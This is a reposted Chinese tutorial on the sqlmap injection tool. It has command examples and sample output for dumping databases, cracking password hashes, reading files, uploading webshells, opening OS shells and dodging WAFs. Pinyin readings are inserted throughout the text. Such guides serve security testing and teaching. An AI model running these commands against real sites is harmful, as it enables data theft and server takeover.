記一份SQLmap使用手冊(cè)小結(jié)(一)(轉(zhuǎn)載)

原文地址:https://xz.aliyun.com/t/3010

前言

一直沒(méi)有找到關(guān)于sqlmap注入非常詳細(xì)的知識(shí)點(diǎn)總結(jié),最近在烏云里面發(fā)現(xiàn)一篇很好的文章關(guān)于sqlmap使用的方法

就搬運(yùn)過(guò)來(lái)了,再加上一些其它文章的內(nèi)容,總結(jié)而得到的本文。

希望各位大佬輕噴(QAQ)

本人博客:http://www.cnblogs.com/miraitowa/

1:尋找注入點(diǎn)

GET方式

sqlmap -u "url" //這個(gè)URL必須含?

POST方式

sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

cookie注入

sqlmap -u "url" --cookie "chsadj" --level 2 //這里的URL去掉?及其后的內(nèi)容,并將它們放在cookie的內(nèi)容里面

tamper方式

sqlmap -u "url" -v 3 --batch --tamper "sac.py"  //temper后面的插件可以去sql安裝目錄查找

自動(dòng)檢測(cè)表

sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

延時(shí)兩秒

Sqlmap –u “url” --delay 2

頻率3次

Sqlmap –u “url” --safe-freq 3

偽靜態(tài)

Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40后面加*

查看數(shù)據(jù)庫(kù)

sqlmap -u "url" --dbs   //查看所有數(shù)據(jù)庫(kù)
sqlmap -u "url" --users //查看所有用戶
sqlmap -u "url" --current-db //查看當(dāng)前的數(shù)據(jù)庫(kù)
sqlmap -u "url" --current-user //查看當(dāng)前的用戶
sqlmap -u "url" --is-dba //查看是否是最高權(quán)限
sqlmap -u "url" --passwords //查看所有密碼
sqlmap -u "url" –hostname //查看主機(jī)名
sqlmap -u "url" privileges -U username //查看用戶權(quán)限
sqlmap -u "url" –roles //查看用戶角色

查看詳細(xì)內(nèi)容

sqlmap -u "url" --tables -D "database" //database這個(gè)數(shù)據(jù)庫(kù)的表數(shù)據(jù)表
sqlmap -u "url" --columns -T "tables" -D "database" //查看tables這個(gè)數(shù)據(jù)表的字段
sqlmap -u "url" --dump "a,b,c" -C "columns" -T "tables" -D "database" //下載內(nèi)容,后面的-CTDabc都是對(duì)下載的數(shù)據(jù)庫(kù)表段的約束如果不加就是下載所有

執(zhí)行特殊操作

文件查看

sqlmap -u "url" –file-read= //這個(gè)讀取的文件會(huì)存在本地的結(jié)果目錄,請(qǐng)認(rèn)真看提示

文件寫(xiě)入

sqlmap -u "url" --file-write=本地文件路徑 --file-dest=網(wǎng)站的絕對(duì)路徑 //上傳webshell用,需要dba權(quán)限

命令執(zhí)行

sqlmap -u "url" --os-cmd "cmd"  //執(zhí)行cmd代表的命令,如cd C:/

sqlmap -u "url" --os-shell  //進(jìn)入數(shù)據(jù)庫(kù)自帶的shell

命令總覽

使用sqlmap -hh可以查看詳細(xì)的命令說(shuō)明:

-r 1.txt            對(duì)于用post方法提交的,參數(shù)不在URL里面的網(wǎng)頁(yè),可以先截獲數(shù)據(jù),保存成文件再用這個(gè)參數(shù)執(zhí)行
-l log.txt          可以將代理的日志作為目標(biāo)去檢測(cè)[見(jiàn)下圖]
-m 1.txt            對(duì)于多個(gè)URL,可以一排一個(gè)寫(xiě)入文件后加載
--force-ssl         對(duì)于使用SSL的URL要在后面加上這個(gè)參數(shù)
--data              對(duì)于使用post方法,可以將參數(shù)寫(xiě)在data后面
--param-del=""          
--cookie=""  level 2        對(duì)于需要驗(yàn)證才能訪問(wèn)的URL,可以加上cookie值驗(yàn)證,如果要檢測(cè)cookie是否有注入漏洞,level要高于1
--random-agent          使用隨機(jī)的user-agent
--user-agent=""  level 3    指定user-agent,如要檢測(cè)它是否有漏洞level要高于2
--header="\n"           指定頭信息,如User-Agent:dsacs,大小寫(xiě)敏感,多個(gè)用\n分隔
--method=GET POST       設(shè)置提交方式,默認(rèn)一個(gè)一個(gè)的嘗試
--auth-type             如果是基于http的驗(yàn)證,如Basic NTLM Digest,可直接加類(lèi)型再配合下一個(gè)參數(shù)使用
--auth-cred "user:pass"     填寫(xiě)賬號(hào)和密碼
 --proxy="http:127.0.0.1:8087"  使用代理
--proxy-cred="name:pass"    如果代理要密碼的話
--ignore-proxy          強(qiáng)制不使用代理
--delay             請(qǐng)求延遲間隔,單位秒,默認(rèn)無(wú)延遲
--retries           鏈接失敗重試次數(shù)3
--timeout           鏈接超時(shí)時(shí)間30
--randomize="param"     使用和源參數(shù)類(lèi)型長(zhǎng)度一致的參數(shù)
sqlmap -l l.log --scope="(www)?\.target\.(com|net|org)"     這是一個(gè)正則表達(dá)式,是對(duì)于log文件里面URL過(guò)多時(shí),進(jìn)行篩選,這里是只要com/net/org結(jié)尾的域名
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|11|111)"        同上,篩選19*.168.20.1/11/111這幾個(gè)網(wǎng)段的IP
--safe-url="url"        設(shè)置正確的URL,因?yàn)槿绻恢眹L試錯(cuò)誤的URL可能會(huì)被服務(wù)器拉黑,過(guò)幾次登下正確的防止這個(gè)發(fā)生
--safe-freq 10          嘗試的與正確的URL的交換頻率
--skip-urlencode        有的URL在get方式提交時(shí)沒(méi)編碼,就要用這個(gè)
--eval=""php代碼      這個(gè)后面可以跟PHP代碼,能夠執(zhí)行
--keep-alive            保持連接會(huì)降低資源使用,但是不能與代理兼容
--predict-output        能夠在找到一個(gè)信息后縮小檢測(cè)的范圍,不能與--threads兼容
--null-connection       只看返回文件的大小,不要他的內(nèi)容與--text-only不兼容
--threads           最大并發(fā)數(shù),默認(rèn)1,最大不要超過(guò)10,盲注時(shí)一次返回一個(gè)字符【7次請(qǐng)求】
-o              使用除了--threads的全部的優(yōu)化參數(shù)
-p              指定參數(shù),使level失效
-skip               排除不掃描的參數(shù)
                對(duì)于偽靜態(tài)網(wǎng)頁(yè),就在參數(shù)后面加*
--dbms              接數(shù)據(jù)庫(kù)管理系統(tǒng),如MySQL
--os                接系統(tǒng),如Linux
--invalid-bignum        使用大數(shù)作為假的值
--invalid-logical       使用邏輯數(shù)作為假的值
--no-cat            對(duì)于接收到的null不自動(dòng)轉(zhuǎn)換成空格
--no-escape         不使用逃逸,就是不把'轉(zhuǎn)換成asii碼形式
--prefix            在參數(shù)前指定前綴
--suffix            在參數(shù)后指定后綴
--level             設(shè)置檢查的等級(jí),默認(rèn)為1,共5個(gè),可以查看/usr/share/sqlmap/xml/payloads這個(gè)文件了解詳細(xì)的信息
--risk              設(shè)置風(fēng)險(xiǎn)等級(jí),默認(rèn)是安全的檢查,第四等可能會(huì)修改數(shù)據(jù)庫(kù)內(nèi)容
--string            當(dāng)頁(yè)面含有這個(gè)字符串時(shí)為真
--not-string            當(dāng)頁(yè)面不含這個(gè)字符串時(shí)為真
--regexp            用正則表達(dá)式判斷
--code              當(dāng)狀態(tài)代碼為*時(shí)為真
--text-only         頁(yè)面含有*時(shí)為真
--titles            頁(yè)面標(biāo)題為*時(shí)為真
--techniques 
B E U S T           使用什么檢查技術(shù),默認(rèn)所有,這里分別是基于布爾的盲注,基于錯(cuò)誤的判斷,聯(lián)合查詢(xún),堆積,基于時(shí)間的查詢(xún)
--time-sec          
--union-cols            聯(lián)合查詢(xún)第幾列到第幾列
--union-char            用select null,1:2  這種,可能會(huì)出錯(cuò),就講這個(gè)null換成其他數(shù)字占位
--second-order          當(dāng)注入后在第二個(gè)頁(yè)面顯示錯(cuò)誤信息,這里就接上顯示錯(cuò)誤信息的地方
-fingerprint            指紋信息
--banner            版本信息
--batch             按照軟件默認(rèn)設(shè)置,自動(dòng)回答
--count             計(jì)數(shù)
-s              將這個(gè)會(huì)話保存下次繼續(xù)
-t              將這些數(shù)據(jù)保存
--charset           強(qiáng)制設(shè)置數(shù)據(jù)庫(kù)編碼
--crawl             設(shè)置蜘蛛爬行的深度
--csv-del           設(shè)置下載的數(shù)據(jù)的分隔方式,默認(rèn)是,
--dbms-cred         設(shè)置數(shù)據(jù)庫(kù)用戶
--flush-session         清空以前的會(huì)話數(shù)據(jù)
--fresh-queries         不清空會(huì)話,重新查詢(xún)
--hex               一16進(jìn)制編碼的方式傳輸數(shù)據(jù)
--output-dir            會(huì)話輸出文件夾
--parse-errors          顯示MySQL錯(cuò)誤信息
--save              保存當(dāng)前配置為文件
-z              特別的助記方式,后面接的只要是獨(dú)一無(wú)二的企鵝存在的就可以用,如user-agent可以用ueraet.
--answers           這個(gè)可以對(duì)一些特定的問(wèn)題作出回答,在自動(dòng)化注入中用
--check-waf         檢查是否含有waf等
--identify-waf          徹底的檢查waf等的信息
--smart     當(dāng)有大量目標(biāo)時(shí),這個(gè)就只檢查基于錯(cuò)誤的注入點(diǎn)
--mobile    模擬智能手機(jī)去掃描
--wizard    向?qū)J?--purge-out 清除輸出內(nèi)容

使用-l參數(shù)時(shí),這樣設(shè)置burpsuite

注入判斷

當(dāng)給sqlmap這么一個(gè)url的時(shí)候,它會(huì):

1\. 判斷可注入的參數(shù)

2\. 判斷可以用那種SQL注入技術(shù)來(lái)注入

3\. 識(shí)別出哪種數(shù)據(jù)庫(kù)

4\. 根據(jù)用戶選擇,讀取哪些數(shù)據(jù)

sqlmap支持五種不同的注入模式:

1\. 基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件(真\|假)的注入。

2\. 基于時(shí)間的盲注,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。

3\. 基于報(bào)錯(cuò)注入,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中。

4\. 聯(lián)合查詢(xún)注入,可以使用union的情況下的注入。

5\. 堆查詢(xún)注入,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入。(使用;分隔開(kāi)多條語(yǔ)句,最為靈活,可以自己構(gòu)造select(含)外的其他語(yǔ)句)

sqlmap支持的數(shù)據(jù)庫(kù)管理系統(tǒng)有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB

可以提供一個(gè)簡(jiǎn)單的URL,BurpWebScarab請(qǐng)求日志文件,文本文檔中的完整http請(qǐng)求或者Google的搜索,匹配出結(jié)果頁(yè)面,

也可以自己定義一個(gè)正則來(lái)判斷那個(gè)地址去測(cè)試。

測(cè)試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來(lái)確認(rèn)是否有SQL注入,

它也可以指定用逗號(hào)分隔的列表的具體參數(shù)來(lái)測(cè)試??梢栽O(shè)定HTTP(S)請(qǐng)求的并發(fā)數(shù),來(lái)提高盲注時(shí)的效率。

用來(lái)連接數(shù)據(jù)庫(kù)

這是一個(gè)比較實(shí)用的功能,用來(lái)連接數(shù)據(jù)庫(kù)格式為

設(shè)置顯示信息的詳細(xì)度:

使用-v參數(shù),共有個(gè)等級(jí):

0\. 只顯示python錯(cuò)誤以及嚴(yán)重的信息。

1\. 同時(shí)顯示基本信息和警告信息。(默認(rèn))

2\. 同時(shí)顯示debug信息。

3\. 同時(shí)顯示注入的payload。

4\. 同時(shí)顯示HTTP請(qǐng)求。

5\. 同時(shí)顯示HTTP響應(yīng)頭。

6\. 同時(shí)顯示HTTP響應(yīng)頁(yè)面。

可以通過(guò)學(xué)習(xí)sqlmappayload來(lái)學(xué)習(xí)sql注入,這時(shí)需要使用3級(jí)。

獲取目標(biāo)方式

目標(biāo)URL

參數(shù):-u或者–url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

Burp或者WebScarab代理中獲取日志

參數(shù):-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出來(lái)交給sqlmap來(lái)一個(gè)一個(gè)檢測(cè)是否有注入。

從文本中獲取多個(gè)目標(biāo)掃描

參數(shù):-m

文件中保存url格式如下,sqlmap會(huì)一個(gè)一個(gè)檢測(cè)

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

從文件中加載HTTP請(qǐng)求

參數(shù):-r

sqlmap可以從一個(gè)文本文件中獲取HTTP請(qǐng)求,這樣就可以跳過(guò)設(shè)置一些其他參數(shù)(比如cookie,POST數(shù)據(jù),等等)。

比如文本文件內(nèi)如下:

POST /vuln.php HTTP/1.1

Host: www.target.com

User-Agent: Mozilla/4.0

id=1

當(dāng)請(qǐng)求是HTTPS的時(shí)候你需要配合這個(gè)–force-ssl參數(shù)來(lái)使用,或者你可以在Host頭后面加上:443

處理Google的搜索結(jié)果

參數(shù):-g

sqlmap可以測(cè)試注入Google的搜索結(jié)果中的GET參數(shù)(只獲取前100個(gè)結(jié)果)。

例子:

python sqlmap.py -g "inurl:\".php?id=1\""

此外可以使用-c參數(shù)加載sqlmap.conf文件里面的相關(guān)配置。

請(qǐng)求

http數(shù)據(jù)

參數(shù):–data

此參數(shù)是把數(shù)據(jù)以POST方式提交,sqlmap會(huì)像檢測(cè)GET參數(shù)一樣檢測(cè)POST的參數(shù)。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

參數(shù)拆分字符

參數(shù):–param-del

當(dāng)GETPOST的數(shù)據(jù)需要用其他字符分割測(cè)試參數(shù)的時(shí)候需要用到此參數(shù)(默認(rèn)是&)。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1"
--param-del=";" -f --banner --dbs --users

HTTP cookie頭

參數(shù):–cookie,–load-cookies,–drop-set-cookie

這個(gè)參數(shù)在以下兩個(gè)方面很有用:

  1. web應(yīng)用需要登陸的時(shí)候。

  2. 你想要在這些頭參數(shù)中測(cè)試SQL注入時(shí)。

可以通過(guò)抓包把cookie獲取到,復(fù)制出來(lái),然后加到–cookie參數(shù)里。

HTTP請(qǐng)求中,遇到Set-Cookie的話,sqlmap會(huì)自動(dòng)獲取并且在以后的請(qǐng)求中加入,并且會(huì)嘗試SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie參數(shù)來(lái)拒接。

當(dāng)你使用–cookie參數(shù)時(shí),當(dāng)返回一個(gè)Set-Cookie頭的時(shí)候,sqlmap會(huì)詢(xún)問(wèn)你用哪個(gè)cookie來(lái)繼續(xù)接下來(lái)的請(qǐng)求。

當(dāng)–level的參數(shù)設(shè)定為2或者2以上的時(shí)候,sqlmap會(huì)嘗試注入Cookie參數(shù)。

HTTP User-Agent頭

參數(shù):–user-agent,–random-agent

默認(rèn)情況下sqlmapHTTP請(qǐng)求頭中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

(這可能直接會(huì)被過(guò)濾掉或是觸發(fā)警報(bào),可以使用真實(shí)瀏覽器的useragent,百度一下就有了)

可以使用–user-anget參數(shù)來(lái)修改,同時(shí)也可以使用–random-agnet參數(shù)來(lái)隨機(jī)的從./txt/user-agents.txt中獲取。

當(dāng)–level參數(shù)設(shè)定為3或者3以上的時(shí)候,會(huì)嘗試對(duì)User-Angent進(jìn)行注入。

HTTP Referer頭

參數(shù):–referer

sqlmap可以在請(qǐng)求中偽造HTTP中的referer,當(dāng)–level參數(shù)設(shè)定為3或者3以上的時(shí)候會(huì)嘗試對(duì)referer注入。

額外的HTTP頭

參數(shù):–headers

可以通過(guò)–headers參數(shù)來(lái)增加額外的http頭

HTTP認(rèn)證保護(hù)

參數(shù):–auth-type,–auth-cred

這些參數(shù)可以用來(lái)登陸HTTP的認(rèn)證保護(hù)支持三種方式:

1\. Basic

2\. Digest

3\. NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"
--auth-type Basic --auth-cred "testuser:testpass"

HTTP協(xié)議的證書(shū)認(rèn)證

參數(shù):–auth-cert

當(dāng)Web服務(wù)器需要客戶端證書(shū)進(jìn)行身份驗(yàn)證時(shí),需要提供兩個(gè)文件:key_file,cert_file。

key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。

HTTP(S)代理

參數(shù):–proxy,–proxy-cred–ignore-proxy

使用–proxy代理是格式為:http://url:port。

當(dāng)HTTP(S)代理需要認(rèn)證是可以使用–proxy-cred參數(shù):username:password

–ignore-proxy拒絕使用本地局域網(wǎng)的HTTP(S)代理。

HTTP請(qǐng)求延遲

參數(shù):–delay

可以設(shè)定兩個(gè)HTTP(S)請(qǐng)求間的延遲,設(shè)定為0.5的時(shí)候是半秒,默認(rèn)是沒(méi)有延遲的。

設(shè)定超時(shí)時(shí)間

參數(shù):–timeout

可以設(shè)定一個(gè)HTTP(S)請(qǐng)求超過(guò)多久判定為超時(shí),10.5表示10.5秒,默認(rèn)是30秒。

設(shè)定重試超時(shí)

參數(shù):–retries

當(dāng)HTTP(S)超時(shí)時(shí),可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次。

設(shè)定隨機(jī)改變的參數(shù)值

參數(shù):–randomize

可以設(shè)定某一個(gè)參數(shù)值在每一次請(qǐng)求中隨機(jī)的變化,長(zhǎng)度和類(lèi)型會(huì)與提供的初始值一樣。

利用正則過(guò)濾目標(biāo)網(wǎng)址

參數(shù):**–scope**

例如:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com\|net\|org)"

避免過(guò)多的錯(cuò)誤請(qǐng)求被屏蔽

參數(shù):–safe-url,–safe-freq

有的web應(yīng)用程序會(huì)在你多次訪問(wèn)錯(cuò)誤的請(qǐng)求時(shí)屏蔽掉你以后的所有請(qǐng)求,這樣在sqlmap進(jìn)行探測(cè)或者注入的時(shí)候可能造成錯(cuò)誤請(qǐng)求而觸發(fā)這個(gè)策略,導(dǎo)致以后無(wú)法進(jìn)行。

繞過(guò)這個(gè)策略有兩種方式:

  1. --safe-url:提供一個(gè)安全不錯(cuò)誤的連接,每隔一段時(shí)間都會(huì)去訪問(wèn)一下。

  2. --safe-freq:提供一個(gè)安全不錯(cuò)誤的連接,一段頻率后會(huì)訪問(wèn)一次。

關(guān)掉URL參數(shù)值編碼

參數(shù):–skip-urlencode

根據(jù)參數(shù)位置,他的值默認(rèn)將會(huì)被URL編碼,但是有些時(shí)候后端的web服務(wù)器不遵守RFC標(biāo)準(zhǔn),只接受不經(jīng)過(guò)URL編碼的值,這時(shí)候就需要用–skip-urlencode參數(shù)。

每次請(qǐng)求時(shí)候執(zhí)行自定義的python代碼

參數(shù):–eval

在有些時(shí)候,需要根據(jù)某個(gè)參數(shù)的變化,而修改另個(gè)一參數(shù),才能形成正常的請(qǐng)求,這時(shí)可以用–eval參數(shù)在每次請(qǐng)求時(shí)根據(jù)所寫(xiě)python代碼做完修改后請(qǐng)求。

例子:

python sqlmap.py -u
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"
--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的請(qǐng)求就是每次請(qǐng)求時(shí)根據(jù)id參數(shù)值,做一次md5后作為hash參數(shù)的值。

注入

測(cè)試參數(shù)

參數(shù):-p

如: -p “id,user-anget”

指定要跳過(guò)測(cè)試的參數(shù)

參數(shù):–skip

如:–skip=”user-angent.referer”

對(duì)于偽靜態(tài)鏈接,可以在想測(cè)試的參數(shù)后面加*,它會(huì)測(cè)試那個(gè)指定的參數(shù)

例如:

python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/"

指定數(shù)據(jù)庫(kù)

參數(shù):–dbms

不指定會(huì)自動(dòng)探測(cè),如果知道最好指定

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定服務(wù)器系統(tǒng)

參數(shù):–os

不指定會(huì)自動(dòng)探測(cè),支持的有:Linux、Windows。

指定無(wú)效的大數(shù)字

參數(shù):–invalid-bignum

當(dāng)你想指定一個(gè)報(bào)錯(cuò)的數(shù)值時(shí),可以使用這個(gè)參數(shù),例如默認(rèn)情況系id=13,sqlmap會(huì)變成id=-13來(lái)報(bào)錯(cuò),你可以指定比如id=9999999來(lái)報(bào)錯(cuò)。

指定無(wú)效的邏輯

參數(shù):–invalid-logical

原因同上,可以指定id=13把原來(lái)的id=-13的報(bào)錯(cuò)改成id=13 AND 18=19

注入payload

參數(shù):–prefix,–suffix

在有些環(huán)境中,需要在注入的payload的前面或者后面加一些字符,來(lái)保證payload的正常執(zhí)行。

例如,代碼中是這樣調(diào)用數(shù)據(jù)庫(kù)的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

這時(shí)你就需要–prefix–suffix參數(shù)了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix
"’)" --suffix "AND (’abc’=’abc"

這樣執(zhí)行的SQL語(yǔ)句變成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’)
LIMIT 0, 1";

修改注入的數(shù)據(jù)

參數(shù):–tamper

sqlmap除了使用CHAR()函數(shù)來(lái)防止出現(xiàn)單引號(hào)之外沒(méi)有對(duì)注入的數(shù)據(jù)修改,你可以使用–tamper參數(shù)對(duì)數(shù)據(jù)做修改來(lái)繞過(guò)WAF等設(shè)備。
下面是一個(gè)tamper腳本的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

可以查看 tamper/ 目錄下的有哪些可用的腳本

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

探測(cè)

探測(cè)等級(jí)

參數(shù):–level

共有五個(gè)等級(jí),默認(rèn)為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據(jù)相應(yīng)的格式添加自己的payload

這個(gè)參數(shù)不僅影響使用哪些payload同時(shí)也會(huì)影響測(cè)試的注入點(diǎn),GETPOST的數(shù)據(jù)都會(huì)測(cè)試,HTTP Cookielevel為2的時(shí)候

就會(huì)測(cè)試,HTTP User-Agent/Referer頭在level為3的時(shí)候就會(huì)測(cè)試。

總之在你不確定哪個(gè)payload或者參數(shù)為注入點(diǎn)的時(shí)候,為了保證全面性,建議使用高的level值。

風(fēng)險(xiǎn)等級(jí)

參數(shù):–risk

共有四個(gè)風(fēng)險(xiǎn)等級(jí),默認(rèn)是1會(huì)測(cè)試大部分的測(cè)試語(yǔ)句,2會(huì)增加基于事件的測(cè)試語(yǔ)句,3會(huì)增加OR語(yǔ)句的SQL注入測(cè)試。

在有些時(shí)候,例如在UPDATE的語(yǔ)句中,注入一個(gè)OR的測(cè)試語(yǔ)句,可能導(dǎo)致更新的整個(gè)表,可能造成很大的風(fēng)險(xiǎn)。

測(cè)試的語(yǔ)句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload

頁(yè)面比較

參數(shù):–string,–not-string,–regexp,–code

默認(rèn)情況下sqlmap通過(guò)判斷返回頁(yè)面的不同來(lái)判斷真假,但有時(shí)候這會(huì)產(chǎn)生誤差,因?yàn)橛械捻?yè)面在每次刷新的時(shí)候都會(huì)返回不同的代碼,

比如頁(yè)面當(dāng)中包含一個(gè)動(dòng)態(tài)的廣告或者其他內(nèi)容,這會(huì)導(dǎo)致sqlmap的誤判。此時(shí)用戶可以提供一個(gè)字符串或者一段正則匹配,

在原始頁(yè)面與真條件下的頁(yè)面都存在的字符串,而錯(cuò)誤頁(yè)面中不存在(使用–string參數(shù)添加字符串,–regexp添加正則),

同時(shí)用戶可以提供一段字符串在原始頁(yè)面與真條件下的頁(yè)面都不存在的字符串,而錯(cuò)誤頁(yè)面中存在的字符串(–not-string添加)。

用戶也可以提供真與假條件返回的HTTP狀態(tài)碼不一樣來(lái)注入,例如,響應(yīng)200的時(shí)候?yàn)檎妫憫?yīng)401的時(shí)候?yàn)榧?,可以添加參?shù)–code=200。

參數(shù):–text-only,–titles

有些時(shí)候用戶知道真條件下的返回頁(yè)面與假條件下返回頁(yè)面是不同位置在哪里可以使用–text-only(HTTP響應(yīng)體中不同)–titles(HTML的title標(biāo)簽中不同)。

注入技術(shù)

測(cè)試是否是注入

參數(shù):–technique

這個(gè)參數(shù)可以指定sqlmap使用的探測(cè)技術(shù),默認(rèn)情況下會(huì)測(cè)試所有的方式。

支持的探測(cè)方式如下:

B: Boolean-based blind SQL injection(布爾型注入)

E: Error-based SQL injection(報(bào)錯(cuò)型注入)

U: UNION query SQL injection(可聯(lián)合查詢(xún)注入)

S: Stacked queries SQL injection(可多語(yǔ)句查詢(xún)注入)

T: Time-based blind SQL injection(基于時(shí)間延遲注入)

設(shè)定延遲注入的時(shí)間

參數(shù):–time-sec

當(dāng)使用繼續(xù)時(shí)間的盲注時(shí),時(shí)刻使用–time-sec參數(shù)設(shè)定延時(shí)時(shí)間,默認(rèn)是5秒。

設(shè)定UNION查詢(xún)字段數(shù)

參數(shù):–union-cols

默認(rèn)情況下sqlmap測(cè)試UNION查詢(xún)注入會(huì)測(cè)試1-10個(gè)字段數(shù),當(dāng)–level為5的時(shí)候他會(huì)增加測(cè)試到50個(gè)字段數(shù)。

設(shè)定–union-cols的值應(yīng)該是一段整數(shù),如:12-16,是測(cè)試12-16個(gè)字段數(shù)。

設(shè)定UNION查詢(xún)使用的字符

參數(shù):–union-char

默認(rèn)情況下sqlmap針對(duì)UNION查詢(xún)的注入會(huì)使用NULL字符,但是有些情況下會(huì)造成頁(yè)面返回失敗,而一個(gè)隨機(jī)整數(shù)是成功的,

這是你可以用–union-char只定UNION查詢(xún)的字符。

二階SQL注入

參數(shù):–second-order

有些時(shí)候注入點(diǎn)輸入的數(shù)據(jù)看返回結(jié)果的時(shí)候并不是當(dāng)前的頁(yè)面,而是另外的一個(gè)頁(yè)面,這時(shí)候就需要你指定到哪個(gè)頁(yè)面獲取響應(yīng)判斷真假。

–second-order后面跟一個(gè)判斷頁(yè)面的URL地址。

列數(shù)據(jù)

參數(shù):-b,–banner

大多數(shù)的數(shù)據(jù)庫(kù)系統(tǒng)都有一個(gè)函數(shù)可以返回?cái)?shù)據(jù)庫(kù)的版本號(hào),通常這個(gè)函數(shù)是version()或者變量@@version這主要取決與是什么數(shù)據(jù)庫(kù)。

用戶

參數(shù):-current-user

在大多數(shù)據(jù)庫(kù)中可以獲取到管理數(shù)據(jù)的用戶。

當(dāng)前數(shù)據(jù)庫(kù)

參數(shù):–current-db

返還當(dāng)前連接的數(shù)據(jù)庫(kù)。

當(dāng)前用戶是否為管理用

參數(shù):–is-dba

判斷當(dāng)前的用戶是否為管理,是的話會(huì)返回True。

列數(shù)據(jù)庫(kù)管理用戶

參數(shù):–users

當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),就可以列出所有管理用戶。

列出并破解數(shù)據(jù)庫(kù)用戶的hash

參數(shù):–passwords

當(dāng)前用戶有權(quán)限讀取包含用戶密碼的彪的權(quán)限時(shí),sqlmap會(huì)現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。

$ python sqlmap.py -u "http://********/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

可以看到sqlmap不僅勒出數(shù)據(jù)庫(kù)的用戶跟密碼,同時(shí)也識(shí)別出是PostgreSQL數(shù)據(jù)庫(kù),并詢(xún)問(wèn)用戶是否采用字典爆破的方式進(jìn)行破解,

這個(gè)爆破已經(jīng)支持OracleMicrosoft SQL Server。

也可以提供-U參數(shù)來(lái)指定爆破哪個(gè)用戶的hash。

列出數(shù)據(jù)庫(kù)管理員權(quán)限

